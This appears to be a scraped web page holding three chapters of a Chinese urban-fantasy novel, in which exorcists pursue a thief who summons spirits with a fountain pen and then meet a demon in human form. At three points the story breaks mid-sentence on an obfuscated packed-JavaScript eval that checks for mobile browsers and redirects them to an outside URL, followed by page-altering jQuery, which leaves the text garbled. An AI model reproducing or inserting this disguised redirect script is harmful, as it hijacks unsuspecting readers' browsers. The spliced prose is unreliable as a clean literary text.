最先打破僵局的是林睿雅,她把手中的软剑往身后藏了藏,这是示弱的表现:“徐贺,我们没必要动手,我们没有伤害你的意思。把那只钢笔和你从物零社拿的东西交出来,顶多算你一个偷窃的罪名,三五年牢狱相比后面漫长的人生也不算什么,总比在这丢了性命好,你也知道物零社都是些下手不知轻重的家伙……” “去你妈的不伤害!”徐贺的怒吼打断林睿雅的话,“你们他妈一开始就是冲着要我命来的,现在扯什么鬼话!” 话音未落,徐贺手中的钢笔,笔尖高举,他左手持笔向前横挥,笔尖如利刃一般,仿佛划开了空间,从异界又召唤出了成群的魑魅,四散向众人飞速袭去! “该死,这家伙有病吧!”方明怒骂了一声,在他看来这完全是莫名其妙,己方的众人明明还没做什么,这人怎么就固执得认为他们要杀他!? 这个疑问萦绕在每个人的心里,他们不知道徐贺刚刚差点被狙击枪击中的事情,所以自然不明白徐贺此刻的情绪为何如此激烈。而徐贺刚从死线边游荡一圈,此刻惊魂未定,那狙击手在他看来肯定是物零社布置的人,对面一开始就是奔着杀他的目的来的。 但凡双方能冷静的聊两句,物零社这边不知道狙击手的事实很好被发现,然而现在,两边明显无法冷静谈话。 说时迟那时快,面对飞速袭来的魑魅,众人皆摆好迎敌的架势,根据刚刚除灭的那些魑魅的强度来看,这些魑魅虽然有些棘手,但远不到威胁众人性命的程度。 事情当然不会这么简单,当众人接触到这次袭来的魑魅时,在瞬间就意识到,这一批魑魅的质量,要成倍高于上一批。 刚刚的魑魅,可以被李梦兰手中的铁扇轻易打散,被方明手中的长剑轻易划破。而现在,当夫妻二人迎上这些魑魅的时候赫然发现,用和之前一样的战斗方式,只能对对方造成一些微不足道的伤害。 除了,黎子鸣。 和之前一样,不过两秒钟的时间,他面前的魑魅和他手中的短剑,一起化为尘埃消失了。 飞速解决自己面前的魑魅后,黎子鸣想去帮助其他同伴解围,却被林睿雅呵斥住—— “先抓人!” 黎子鸣这才注意到,趁着混乱,徐贺已经跑出去一段距离。 来不及更多思考,黎子鸣选择听从林睿雅,向着徐贺的方向追去,三步并作两步,片刻就追上没跑多远的徐贺。 徐贺自然不会坐以待毙,在黎子鸣追上来的瞬间,他手中的钢笔再次抖动,那已经多到令人厌烦的黑雾又冒了出来。纤细的笔杆子里到底哪来的空间装这么多魑魅,黎子鸣心中不禁犯怵,最坏的情况下,那支钢笔本身不会就是一个魑魅生成机器吧? 对面这次发起的攻击又变换模样,似乎是知道凭自己无法生成对黎子鸣产生有效伤害的强大魑魅,徐贺立马变换方式。这次出现的魑魅完全舍弃了质,全都提升在了量上。 这些魑魅像是零零散散的墨点,被泼洒在空中,瞬间就变化为了无数的飞虫,或是说,蝗虫。像是一片黑压压的云,遮蔽了本就微弱的月光,沉沉地压了下来。这一幕比起物理攻击,精神攻击的程度要更大一些,突然看到这种画面,任谁都会内心一震,然后反应到行动上的滞缓。更不用说,用来阻碍黎子鸣这种存在,这种方法确实有效多了。 诚然,凭借他天生的灵力,可以让自己的每次普通攻击都施展出像别人的最后大招一样的威力,但他也确实缺少大范围群体攻击的手段。 又损毁了两件附魔器后,黎子鸣发现眼前这群蝗虫魑魅虽然能看出来一些减少,但考虑到自己的武器存量,恐怕做不到将这些小虫子彻底消灭。 就在他考虑下一步的行动时,援兵到了。 “叮、叮、叮——”三支弩箭连续射出,从黎子鸣的身侧略过,钉在了他面前的水泥地上,形成了一个完美的等边三角形格局。下一秒,一个有些娇小的身影一跃而上,站在了那等边三角形的中央。 从最开始一直就很沉默的夏玉薇,此时站在了最前面。只见她左手握着一只结构复杂的金属连弩,右手正竖起中指和食指,并拢,正立胸前—— “起!” 三支弩箭分别快速向两方蔓延出笔直的光线,在彻底连接成密封的三角形时,几乎同一时间,三面光墙拔地而起,横亘在二人和魑魅虫群的中间。袭击的虫群来不及调整架势,纷纷如雨点般冲撞上光墙,随后立马被蒸发为灰烬。 这并不是个强力的招式,对于大部分魑魅来说,仅仅能起到一些制约其行动的作用,但是面对这些为了数量而完全牺牲质量的存在,却是最好的杀招! 顷刻间,如乌云般压抑的虫群,被一扫而空。 其他人也没闲着,在这几分钟里,之前被缠住的众人都纷纷解决了自己面前的魑魅,重新追了上来。其中林睿雅的速度最快,软剑如蛇一般,以迅雷不及掩耳的架势卷向了徐贺逃跑的背影,徐贺此时的反抗像是一条搁浅的鱼,不过是垂死挣扎罢了。细长的软剑撕碎了那些保护在徐贺周围的魑魅,缠住徐贺的右脚脚踝,把对方直接绊倒在地。 场上的状况在瞬间又回到最开始的包围架势,物零社这边的众人最多只受了一点擦伤,而徐贺的状况比之前更差。钢笔里的存货已然不多,不,就算他还有充足的存量,依靠这些魑魅,他根本无法从这几人的包围中逃走,这里的每个人都强得像个怪物。徐贺想不通到底为什么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是他拿出了最后的力气,召唤出几只外表很可怕的魑魅,张牙舞爪地冲向了林欣予那边。而林欣予似乎确实被他这幅架势吓到,瞬间手忙脚乱起来,之前保护林睿雅时准头很好的飞镖,此时就像是在闭眼乱投一样,十数支飞镖飞出去,除了一支扎进了徐贺的右肩,其他飞镖不仅没有伤到徐贺,反而把那些其他想来压制徐贺的人拦在了远处。本以为自己死定了的徐贺,居然就这样,不费吹灰之力地从包围圈中逃了出去,转眼间就没了踪影。 “你!”方明见状,第一时间把矛头指向了自己人,“姓林的小兔崽子,你在这里就是个祸害!” 林欣予仿佛也很不知所措,深知自己酿成了大祸一样,开始不停的鞠躬道歉。 “对不起,真的对不起,都是我的错,真的对不起你们。我、我去追他!” 话罢,她有些笨拙地朝着徐贺消失的方向追去。 白痴一样,谁都知道,这块道路复杂,又正处深夜,怎么可能追到已经逃跑的嫌疑人。 “我、我和她一起去。”黎子鸣还是有些担心,想要赶紧追上去,却被林睿雅拦住。 “不用管她,找不到人她自然会自己回来的。大家先回去休息吧,后面的事再说,等监控处那边上班了,看下监控里能不能看到线索。” 劝走了在场的所有人后,林睿雅有些复杂地看了眼妹妹离开的方向,旋即转头和其他人一起离开了。 19. 遇妖 当徐贺冲向林欣予时,她在想什么?真的被这突如其来的攻势打乱了手脚了吗? 那当然是不可能的。 她看见徐贺朝她的方向试图突围时,心里想的是,终于朝她而来了。 不这样,她如何略施小计,让徐贺从这看似密不透风的包围网中逃走?至此,剧本都随她所想,在顺利发展。如若说徐贺身上最有价值的东西,绝对是那只钢笔,其次是他从物零社拿走的那东西,一旦徐贺先被物零社抓住,她断然没有机会再接触这两件物品,这是最后的机会了。 演一演戏,折损点自己的面子,换取两个重要的物件,这种交易怎么看都不会亏。当时在场的几人,林睿雅作为自己的姐姐肯定不会对自己的行为说三道四,那三个老师都对林的姓氏抱有偏见,在他们看来,自己本就是靠关系进来的,在关键时刻掉链子也是正常行为……至于黎子鸣,在林欣予的认知里,他根本不会把这种事情放在心上去仔细思考。 至于徐贺逃走后,如何保证自己可以率先一步追上他,也有个十分简单的方法——在林欣予最后看似胡乱投掷的那些飞镖里,只有一支扎中了徐贺,而那支飞镖里,装了一个定位器。 飞镖的前端设计有倒刺,没有一个安全稳定的地方,徐贺很难把那支飞镖拔出来。在这种情况下追上已经遍体鳞伤的徐贺,对于林欣予而言轻而易举。 现代科技还真是方便啊。林欣予一边看着手机地图里正在被自己快速逼近的小红点,一边在心里感慨。 只要没有意外,那支拥有神秘力量的钢笔,那个含有神秘内容的硬盘,都已然是自己唾手可得的囊中之物。 …… 既然说了这样的话,那不出意外的话,就要出意外了。 物零社也好,林欣予也好,他们都忽略了一个存在,或是说因为信息的不足,没有人真正想过,徐贺是如何拿到那支钢笔的。 一个穷困潦倒的平庸除魅师,既没有入手这种容器的金钱,也没有制造这种容器的知识。 此时,徐贺到了这种地步,致使这一切的幕后黑手,真的会放任徐贺逃跑,直到最后无可避免地落入物零社的天罗地网之中吗? 所以当徐贺跑出了一段距离,躲在某个居民区的小巷子里苟延残喘,试图拔下嵌入自己血肉中的飞镖时,处理他的“人”到了。 “哎呀哎呀,这可真是狼狈啊,小偷先生。” 一个声音,一个女人的声音,虚无又缥缈,仿佛是从另一个世界穿越而来。 徐贺感觉周围的温度骤然下降,空气仿佛凝结成块,一股无形的力量压住他的身体,让他无法移动分毫。 那诡异的声音激荡在小巷的墙壁之间,半晌后,声音的主人终于出现了。 女人身着一条绿色的连衣纱裙,像是一抹幽绿的幻影,踏着夜色轻盈走来。黑色的长发如瀑布般流泻至腰间,丝丝缕缕在微风中轻轻扬起,给了月光穿过的缝隙。细碎的黑发下,那双深邃的蓝色双眸如两颗璀璨的宝石,目光穿过浓厚的夜色,仿佛直接洞穿了徐贺的身躯。 “你……你……”徐贺惊恐地开口,声音颤抖到根本没法组成完整的词汇,“你是…他…鹿千……要杀我……?” 对面看上去好像有些惊讶:“你怎么知道我是千派来的?”嗯,虽然千没跟自己说要杀人,但是为了吓他,还是不说这句了吧。“既然你都清楚,那就把东西交出来吧。” “不要,不要……”徐贺先前还只是普通拿着那只钢笔,此时却已经像抱着宝贝一样把这东西护在怀中,“他说了还有一天时间的,你不是、你不是他的人!” 真是恼人。面容姣好的女人这么想着,开始考虑直接动手,却没想到徐贺居然先发制人。这人的攻击方式也是单纯得不得了,依靠那支钢笔容器罢了,里面所剩不多的魑魅一拥而上,变化成了狼群的模样,毫无章法地往前突进。 而这种垂死挣扎在她看来,就像是在玩过家家的三岁小孩。 女人站在那里,什么都没做,向前突进的狼群却突然停下。片刻之后,狼群似乎都变成了温顺的狗,踱步向前,亲昵地围聚在她的身边。 她伸手,像抚摸宠物一样,摸了摸腿边某只狼魑魅的头顶,随后又将视线移动向徐贺,有些嗤笑地说道:“你一个人类,真以为自己能驱使这些非人之物吗?” 如果说,徐贺之前的情绪,是大量的愤怒与部分的惊恐融合在一起,那么此时此刻,名为“恐惧”的感觉已经完全充斥了他的大脑。 面前的女人,不,面前真的是人吗?她明明看上去不管哪里都是人类的样子,但是不对,有哪里是不对的,这样的存在,不该是人类的! “怪物!怪物!!!”无用的崩溃大叫响彻这片区域,但奇怪的是,这里明明是居民区,却没有任何人被这震耳欲聋的叫声惊醒,夜空下依然是死一般的寂静。 而徐贺眼前的画面,早已变成另一幅模样。他看见那女人的身影模糊了,耳畔出现时断时续的低语声,说着他无法理解的语言。他惊恐万分地站起来想要逃跑,回头却发现自己身后的通路变成了一堵墙,再回头,面前的通路也变成墙了。在他的认知里,此时四周皆是压抑的墙壁,而耳畔诡异的低语还在持续着,面前女人模糊的身影飘了起来,一个闪动,居然直接迎到了徐贺的面门正前,而这再也不是之前那个面容姣好的漂亮女人了,而是一张完全没有五官、铺满了血污的脸。 恐惧像一股电流瞬间传遍了徐贺的全身,呼吸和心跳在瞬间变得急促,遏制住呼吸。那低语也在瞬间变成刺耳的尖叫,瞬间便刺穿他的耳膜,让徐贺彻底失去面前的视野。 在一晚上经历了无数恐吓的小偷,就这样晕了过去。 就在同一时刻,第三位演员入场了。在女人的身后不远处,林欣予站在那目睹了全程。 林欣予没有看到徐贺所看到的那些东西,在她的视野里,只看到了那个神秘的女人,控制了那些狼形魑魅,随后徐贺突然抽搐着晕倒在女人面前。 “你、做了什么?”林欣予能感知到的东西比徐贺更多,她不能确定面前这个神秘女人是个什么存在,但她身上拥有的能量,是林欣予从未接触过的东西,一些应该不属于人类的东西。 林欣予感觉到了压力,无比巨大的压力。这个人很危险,比她身边的那些魑魅要危险成百上千倍。而面前的这个女人,此刻根本没有正视自己。 女人也感知到了林欣予的存在,她没有转身,而是先回头瞄了林欣予一眼:“哟,林家的小姑娘,刚刚那出戏演开心了?” 这句话表明,从最开始大家一起围攻时,这人就已经在暗处观察了,并且还知道林欣予的身份。并且在这种情况下,还先林欣予一步追到了徐贺。女人似乎没什么和林欣予聊天的兴致,只见她伸出手指勾了一下,那支钢笔自己从徐贺身上飞了起来,飞进了她的手里。 这不是灵力可以做到的事情,至少林欣予不知道有人能通过灵力隔空取物。灵力向来需要金属附魔器作为媒介发动,这个女人却徒手就做到了这种神乎其神的东西,合理的解释只有一个,她所使用的力量并不属于灵力体系。 林欣予抽出匕首,不管对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101187|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方是什么东西,她都必须拿到那支钢笔。 “等等!” 就在这千钧一发之际,一个身影挡在了两人中间,或是说,挡在了林欣予的面前。 “不能和她动手。” 这次来得倒是个熟人,秦竹一背着一把狙击枪,不知从哪窜了出来,迅速插入两人中间,阻止了林欣予的行动。不过看他的架势,更像是要保护林欣予一样。 看到秦竹一出现在这,对面的女人突然笑了:“刚刚在远处狙击的,果然是你。” 没错,把徐贺从房间中逼出来的是他,那发狙击子弹的目的不过如此罢了。当时徐贺拉着窗帘,他根本看不见人影,所以随便开了一枪,没想到这枪居然差点杀了徐贺,也因此导致徐贺在那之后情绪状态一直很激动。 这个方法也是林欣予提出的。也就是说,那场围攻闹剧,自始至终都在按照林欣予的剧本发展,除了此时突然出现在这的这个女人。 林欣予选择性直接忽视了秦竹一发出的那句警告,反而说道:“你来得正好,二对一的胜算更大些。”换言之,她也深知自己不是面前这人的对手,但秦竹一的战力比她强很多,两人一起进攻,夺到那只钢笔的几率更大。 但秦竹一丝毫没有移开的意思,依旧牢牢把林欣予拦在身后:“听我一次,这次不能动手。” 话罢,他话头转向对面的女人,却直接叫出了她的名字—— “苏瑾年,你什么意思?” “我没什么意思啊,一上来就气势汹汹的,是你身后的小姑娘吧。”被称作苏瑾年的女人略带戏谑地回道。 秦竹一完全不吃她那套:“别转移话题,你分明可以直接离开,还留在这,是想对她也使用妖力吗?” “哎呀,这都被你看穿了。”苏瑾年马上承认了这件事,“我还真挺想看看,继承了林氏血缘的人会看见什么幻觉呢。” “等、等等!”这下轮到林欣予喊“等等”了,她扣住秦竹一的肩膀,质问他:“你认识她?为什么刚刚不让我行动,你说她有妖力是什么意思?她到底是什么东西?不对,你们俩到底是什么情况!?” 一连串的问题让人不知道该从何处回答,更别说秦竹一认为现在根本就不是回答她问题的时候。面前这似人非人的女人就像是一颗不定时炸弹,在现在这个情况下,虽然不至于要了两人的性命,但随时都可能对二人造成重创。 见秦竹一没有回答的意思,倒是苏瑾年先开口了—— “我是什么东西,不是很明显吗?” 她那如瀑般的黑色长发无风自动,一股无形的能量从她身体中溢出,先前围绕在她身侧的狼形魑魅瞬间化为黑灰。而那双不似人类的蓝色瞳孔中,闪烁的光芒愈发明亮。 她接着说道:“我是妖怪啊。” 那股庞大的能量、不、此时可以说是妖力了,庞大的妖力再不受压制,如海啸般席卷向二人,轻而易举地越过秦竹一,淹没了林欣予的身体和意识。林欣予下意识抬手防御,但根本是徒劳无功,刹那间,她感觉自己的身体似乎被无数利刃撕碎,飞溅的血肉在瞬间染红了水泥地板,如地狱般的景象浮现在眼前。 下一秒,她跌落在地,跌倒传来的疼痛像一桶倾盆而下的冷水,让她的意识又在一瞬间清醒了。她慌乱无措地摸向自己的身体,却发现自己的身体完好无损。 女人的身影已经彻底消失了,只留下还回荡在夜空中的一句告别: “看在你是林家人的份上,就不对你做什么了,下次可要小心……” “遇到妖怪,赶紧跑。” 20. 误判 封闭的小屋内,气氛凝重而肃静。四周的墙壁是淡灰色的,光洁而坚硬,没有任何装饰物。房间中央是一张厚重的贴桌,桌面上铺着一块墨绿色的布,显得格外醒目。屋顶上悬挂着一盏白色的吊灯,发出刺眼的光芒,照亮了整个屋子。房间的左上角,静静地悬挂着一个监控摄像头,红色的指示灯闪烁着,正默默地记录着这里发生的一切。 屋内坐着三个人,其中两人坐在桌子的一侧,分别是物零社的社长夏峰,和一旁丝毫不起眼的记录员。桌子对面稍远的地方,则坐着那个在前几天的晚上遭受了无数悲惨遭遇、最后被林欣予一个人抓住的小偷。在经过几天的治疗养伤后,终于在今天坐上了审讯椅。 记录员先发问了,遵循着正常的审讯流程:“姓名。” 对面正准备回答,却被夏峰打断了。 “不用这些没用的流程,我直接问。”夏峰道:“东西在哪?” 徐贺说:“我之前就说过了,东西被人拿走了!我这里现在什么都没有!” “什么人拿走了?” “不知道!是个女的,我根本不认识!” 夏峰皱了皱眉:“那人有什么相貌特征吗?” “穿了件绿裙子,头发的黑的,长发,”徐贺顿了一下,“她眼睛是蓝色的,很诡异,不像是美瞳那种。” “外国人?”夏峰提出了一个可能性。 “不是,看长相就是中国人!”徐贺的情绪突然激动了起来,“那就不是双人类的眼睛,她根本就不是人类!!!” 一旁的记录员有点慌,一边喊着“冷静点”一边准备向外部求援。但夏峰却仿佛陷入了沉思。 半晌后,夏峰开口了,却问了一个让人难以理解的问题:“你确定是女人?不是男扮女装吗?” 此话一出,屋里的其他二人均向夏峰投去了看智障一样的眼神。而这无厘头的一句话,居然顺势让徐贺冷静了下来:“身材、声音,都是女人。” 夏峰若有其事地点点头,随后不再纠结于第一个问题,而是换了个提问方式。 “先来说说,你是怎么得到那支钢笔的吧。” …… 审讯室本来不是用作审讯的,只是物零社用来放杂物的一个小仓库。本次事发突然,物零社没把人交给警察,而是要自己先审一遍,所以临时收拾出这间小屋子,并且布置成了审讯室的模样。因为涉及到的被盗文件机密等级很高,所以能涉入审讯阶段工作的成员数量并不多。作为最高领导者的夏峰自己主导审讯,足以证明物零社对这件事情的重视程度。 但林睿雅总觉得,事情没这么简单。 所以她找上了一个,有涉密权限,但却完全游离在本次事件之外的人。 “啊?我?” 安格森看着突然找上自己的林睿雅,发出百思不解的疑问。 “没错,就是你。”林睿雅点了点头,“我把案件的资料拷贝了一份,你也看看,现在组织里明明有高涉密级别,却对这次的事件一无所知的人,只有你了。” 安格森连连摆手拒绝:“我也不是完全不知道,基础信息还是知道一点的……不是,我都表现得这么明显了,能不把我牵扯进去吗!” 被盗的那份文件,在物零社内被称为“α”,之前夏峰把这份文件交给安格森进行了文件加密,所以安格森知道文件里是什么内容,自然也明了为什么这份文件的失窃,会引发如此的重视。确实,如果文件里的内容被曝光,可能会在全国的除魅师群体中引起轩然大波,零散的除魅师还好,那些大世家,绝对会就此针对物零社造成不少麻烦。 因此,安格森甚至后悔在当时接手这份加密工作,但世上没有后悔药,他只能在事发后一直努力避免被卷进去,却不想现在林睿雅居然摆明了要把他往里面拉。 林睿雅的手中拿着一个u盘,先前她说拷贝了资料,估计就拷贝在这个u盘里,所以现在两人处于:林睿雅在试图把u盘塞给安格森,而安格森正不断摆手后退,以逃避这烫手山芋。 僵持了半晌后,林睿雅忍无可忍:“听好了,我是认为你有能力,才要把这些资料给你的。” “?”突如其来的认可让安格森愣住,如果他没记错的话,林睿雅是物零社里唯一一个一直在针对他的人。 像是猜到了他心中所想一样,林睿雅接着说道:“我之前是一直针对你,确实是因为你来历不明,再加上……我们不合缘吧。” 那不就是单纯看我不顺眼吗!安格森在心里默默吐槽了一句。 “但是,我不否认你的能力,刚来一个月就能获取到高权限就是最好的证明。况且,夏峰也好,夏峰以上的某人也好,都对你展现出了出乎预料的信任。我信任他们,所以我现在也信任你。” 这让人怎么回复?“能得到你的信任我真开心”?不行吧,怎么感觉照这个架势,这烂摊子自己是接定了。 安格森此时正在脑内风暴,而林睿雅抓住这个时机,以迅雷不及掩耳之势把那u盘直接塞进了他外套的口袋里! “就这样,记得仔细看资料。”林睿雅朝他摆了摆手,像是怕被报复一般,迅速跑远消失。 没搞错吧……安格森伸手进口袋把那u盘拿了出来,u盘上刻着一个很普通的笑脸表情,此时看来却总像是一个阴谋得逞般的奸笑。不过,虽然这东西被硬塞过来了,但自己完全可以不看,嗯,就这样……可是这样的话又感觉很对不起林睿雅,只是看看应该也不会怎样吧。 正当安格森这样想着,准备回办公室时,另一个人把他拦住了。安格森看着又把他拦住的这个人,有些无奈地抱怨道:“你们俩姐妹今天怎么回事?” “打扰了,安老师。”林欣予挡在他的面前:“我有一些事想问。” …… 此时,审讯还在有条不紊地持续着。 根据徐贺的描述,钢笔的来源是个神秘的黑衣男人,在和他见面时,男人一直都会带着口罩和帽子,所以他不清楚男人的样貌,但那人也有一双湛蓝色的眼睛。 第一次相遇是在一个月前,是那个神秘人主动找上徐贺的。那个时候,徐贺正因为没有收入而发愁,某天在住所旁边的小巷上看见了一个高薪招工的广告,就顺着广告上的地址找去。结果没想到,广告上的地址是个烂尾楼,根本就不像是有公司的样子,更糟糕的是,他在那里遇到了一群魑魅。 或许从先前的描述看,许多除魅师应对魑魅都是轻而易举,但黎子鸣也好,林睿雅也好,他们都是物零社顶尖的战力,没有丝毫参考的价值。对于徐贺这种碌碌无为之徒,毫无准备的碰上这群魑魅,和羊入虎口没有丝毫差别。 就在他以为自己将要死在这里时,那个神秘人出现了。 神秘人出现时就带着那只钢笔,魑魅都被那支钢笔吸了进去,随后这人的视线移向了徐贺,并向他询问:“你能看见魑魅吗?” 遇到徐贺似乎仅仅是巧合,而这巧合实在过于凑巧,徐贺不仅能看见,他还系统学过使用灵力的方法,是从物零社毕业的除魅师,只是如今落魄到了这种程度。 “那个人说,要和我做交易。”徐贺的讲述还在继续,“他把那支钢笔称做容器,而通过容器,可以让人类控制魑魅。他借给我这份力量,只要我从物零社偷一件东西出来,就可以把这支钢笔送给我。” “你知道他让你偷的东西是什么吗?”夏峰提问。 “我只知道是个硬盘。”徐贺说,“那人说去找被保管得最严密的保险箱,如果里面是个硬盘的话,那就是他要的东西。” 记录员正在纸上疯狂记录笔录,当徐贺说道这里时,他有些错愕地看了眼一旁的夏峰,意思也很明显,硬盘的保管确实是这种方法,对方知道这种事,莫非是物零社内部有卧底? 不是没有这个可能性,夏峰也有这样的想法,但是现在,他有些更关心的事情。 “关于那个‘神秘人’,你有没有其他信息?比如名字什么的。” “名字……”徐贺有些踌躇,他知道对方的名字,但对方告诉他名字时,说过让他不要告诉其他人,但现在他已然落入物零社手中,是否该以自保为最先的考虑。“你们能保证我的安全吗?保证我的安全,我就告诉你们名字。” “当然可以。”夏峰点点头,“申海没有比这更安全的地方了。” “那我说,”徐贺倒也坦白得干脆,“我不知道是真名还是假名,他告诉我的名字是‘鹿千’。” “感觉有点奇怪的名字。”记录员想要在笔记本上记下这两个字,为此又确定了一下:“lu是‘大陆’的‘陆’吗?” “不是,是动物那个‘鹿’,‘千’是数字那个‘千’。” 记录员按照他的说法写下了这个名字,随后转头问夏峰:“社长,还有什么需要问的吗?” 可是夏峰毫无反应。 “社长,社长?”记录员又叫了几声,却发现夏峰那原本平静如湖的双眸,骤然掀起了惊涛骇浪。 对于夏峰来说,这个名字像是一颗重磅炸弹,在瞬间炸飞了他所有思绪。他的目光紧紧锁定在说出这个名字的徐贺的脸上,似乎想从徐贺的反应中读出更多的信息,但徐贺能回应给他的也只有满脸的疑问。 “麇”复苏了,要通知老先生才行……夏峰的脑中思绪万千,完全没注意到旁边的记录员正在叫他,直到记录员用手推了推他的肩膀,这才反应过来。 “不、不好意思,我走神了。”夏峰有些无措地说:“你刚说什么?” “还有什么需要询问的吗?” “啊,有、还有。”夏峰稍微定了下心神,再次向徐贺提问道:“接下来,说下你是怎么侵入物零社,并盗走那个硬盘的吧。” …… 与此同时,另一边的提问也在进行着。 “安老师,我记得你是研究妖怪的专家,我有些关于‘妖怪’的问题想问你。” 林欣予为这次提问展现了十足的诚意,她邀请安格森去了一家高档咖啡店,店面很大,因为价格昂贵所以没什么人,连店员都只有一个,所以在这里谈话也不用担心被别人听到。 “我之前在课上听你讲过,妖曾在古代时期存在过,因为不明原因灭绝了。有没有一种可能,它们并没有完全灭绝,仍有部分妖存活到了现在。” “当然是有可能的。”聊到有关自己研究专业的事情,安格森显得有些兴致勃勃:“我遇到的各种观点里,其中有一点就是,妖并不是灭绝了,而是产生了退化或者进化,变成了现在常见的动物。就像《山海经》中有描述‘有鸟焉,其状如鸮,青羽赤喙,人舌能言’,现在大家都知道,这描述的是鹦鹉,也不过是普通的禽类罢了。” “但关于妖的定义里,妖力的存在很重要,这种力量就像身来就具有灵力的人,妖的诞生也必然伴有妖力,只不过也会有强弱区分。目前可以确定的是,妖力强大的妖类,往往具有更加发达的智力,与人类无异。而妖力微弱的妖,则与野兽无异。所以目前很主流的观点是,随着世界上人类版图的逐渐扩大,这些妖怪逐渐失去了妖力的支持,所以慢慢退化成了野兽,也就是现在很常见的各类动物。” 说到这里,安格森停了一下,赶紧补充道:“不过这些都是人类的推测而已,不一定是正确的。” 林欣予也在思考,虽然安格森很严谨地表达了这些都是推测,但不是毫无根据,至少在妖力这块,和林欣予那天所见到的完全吻合。那个名为苏瑾年的女人,不仅自称是妖,在林欣予后面向明显之情的秦竹一追问后,秦竹一也表明,那女人确实不是人类的身份。不管是行动上还是言语上,苏瑾年都与正常的人类没有任何差异,而她也确实展现出了极其强大的妖力,和安格森所言“妖力绑定智力”相符。 但林欣予忽然又想起当时在课上听过的一点,如果他没记错的话,当时安格森在课上这样说了——“妖不会化成人形”。可那个女人,从外表上看,分明是人类的样子。 “老师,你之前好像说过,妖是不会化形的是吗?” 安格森点了点头:“没错。” “那,有没有什么妖怪有特殊能力,比如用幻觉什么的,能够通过其他的方法用人类的样貌出现?” “嗯……”这个问题似乎有些难,安格森沉思着,仿佛在搜索自己大脑中的知识库:“你说的那种情况我不太清楚,但我知道有一类特殊的妖存在——人形妖。” “人形妖?” “对,本身就拥有着人类外形的‘妖’。”安格森喝了一口面前的饮品,润了润嗓子,接着说道:“不用你说的幻觉之类的复杂能力,这种妖从诞生起就有着人类的外表,从外形上看和人类就是一样的,但本质上,和人类是完全不同的存在。” “刚好你说到幻觉,我所知道的这种妖就拥有释放幻境的能力,它们的名字叫‘梦寐’。” 梦寐,是诞生于人类梦境的妖怪。生而为人形,且多为女性,以梦境为食,以幻境为力。然而,虽然梦寐这一拥有这人类形态的妖怪听上去十分唬人,它们本身却没有强大的力量。诞生于人类的梦境,致使这种妖怪没有生来就强大的妖力,妖力微弱的它们注定没有能够和人类媲美的智力,到底是遵从本能行动的动物罢了。人类的外形,让它们没有像那些兽性妖怪所具有的尖牙与利爪,也没有能用于防御的厚重皮毛。虽然它们拥有制造幻境的能力,但那些幻境对于当时各类灵力高强的除妖师来说也只是小菜一碟,所以在各类记载中,梦寐一直是一种非常弱小的妖怪。 这些可就和林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101188|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣予的记忆产生极大差异了,弱小?自己那天见到的女人(女妖?)怎么可能被称为弱小?所以她追问道:“这个‘梦寐’,它们有变强的方法吗?” 安格森回答道:“妖怪变强的方法都是一样的,需要时间积累妖力。对于梦寐来说,它们往往在诞生后不久就会被杀死。” 林欣予则表面是假设、实际是推测般的提出疑问:“那如果有梦寐没有在初生时被杀,而是活了很长的时间,能够积累非常强大的妖力,拥有媲美人类的智力吗?” 这个问题把安格森问住了,似乎触及到了他的知识盲点。半晌后,他开口回答:“按照妖这个种族的特性来说,是有这个可能的。” 林欣予能够确定,那个黑发蓝眼的女人,应该就是“梦寐”。人类的外形,制造幻境的能力,都是她亲眼所见。其他妖被认为灭绝或是变成了普通的动物,但梦寐一旦拥有了智慧,再加上其人类的外表,就能够很好的融入人类的社会群体之中。庞大的妖力需要积累,那那个梦寐积累了多久?10年、100年、还是说更久? 这是林欣予第一次意识到,自己接触到了超出自己理解范围的事物,她现在完全无法想象一个存活了上百年的存在,更何况那梦寐看上去不过二三十岁的年龄,实际上却可能已在世间行走了超出人类想象的长度吗? 虽然林欣予目前已经锁定答案,但她姑且还是又追问了一句:“这种特殊人类形态的妖怪只有梦寐吗?会不会有其他种类的?” “有哦,”没想到这次,安格森没再思考,而是脱口而出:“传说中,还有一个妖有着人类的形态,被称为‘麇’。” 林欣予敏锐地捕捉到了对面用词的不同,先前说梦寐的时候,安格森使用的量词是“种”,而现在,他所用的量词却是“个”。意思是,名为“麇”的妖,只存在一个吗? “不过关于这个‘麇’,我知道的并不多。”安格森不好意思地笑笑,“甚至连它是否真的存在也不知道,不过传说里,麇是众妖之首,有一双蓝色的瞳孔,能够不死不灭。其他的,我就不清楚了。” 谈话间,安格森面前的饮品已经见底,高档咖啡店的服务很好,店员马上上前询问是否需要续杯,而安格森也毫不推脱地让店员小姐续了一杯饮料。 关于“麇”的事情,林欣予此时并没有放在心上,一是因为她已经确定那个女人应该是梦寐没错,二是安格森在“麇”的话题上只提到了传说,而传说这种东西,向来没什么可信度。如果有了解的必要,后续再详细了解就好。 “辛苦了,安老师。”到此为止,林欣予已经了解自己需要的所有情报。其实本不用这么麻烦,但是秦竹一那家伙不知道为什么,不论如何都不愿意告诉林欣予这些内容,她不得已只能另辟蹊径。 